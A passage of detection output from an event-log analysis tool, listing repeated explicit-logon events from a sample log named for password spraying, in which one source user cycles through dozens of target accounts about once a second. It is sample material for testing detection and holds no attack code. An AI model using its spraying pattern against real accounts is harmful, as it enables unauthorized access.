+09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:04.015 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:05.097 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:06.182 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:07.239 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:08.315 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:09.399 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:10.468 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:11.549 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:12.621 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:13.709 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:14.769 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:15.849 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:16.918 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:17.999 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:19.068 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:20.129 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:21.201 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:22.250 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:23.338 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:24.404 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:25.468 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:26.529 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:27.607 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:28.691 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:29.753 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:30.838 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:31.910 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:32.983 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:34.067 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:35.146 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:36.239 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:37.334 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:38.403 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:39.463 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:40.530 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:41.608 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:42.669 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:43.731 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:44.801 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:45.880 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:46.969 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:48.042 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:49.108 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:50.156 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:51.239 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:52.302 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:53.366 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:54.441 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:55.503 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:56.579 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:57.650 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:58.722 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:59.800 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:00.872 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:01.934 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:02.995 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:04.075 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:05.156 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:06.238 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:07.308 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:08.370 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:09.433 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:10.523 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:11.590 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:12.649 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:13.722 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:14.787 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:15.846 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:16.940 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:18.019 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:19.076 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:20.162 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:21.257 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:22.327 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:23.410 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:24.477 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:25.557 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:26.628 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:27.690 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:28.763 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:29.837 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:30.921 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:31.996 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:33.058 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:34.138 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:35.199 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:36.266 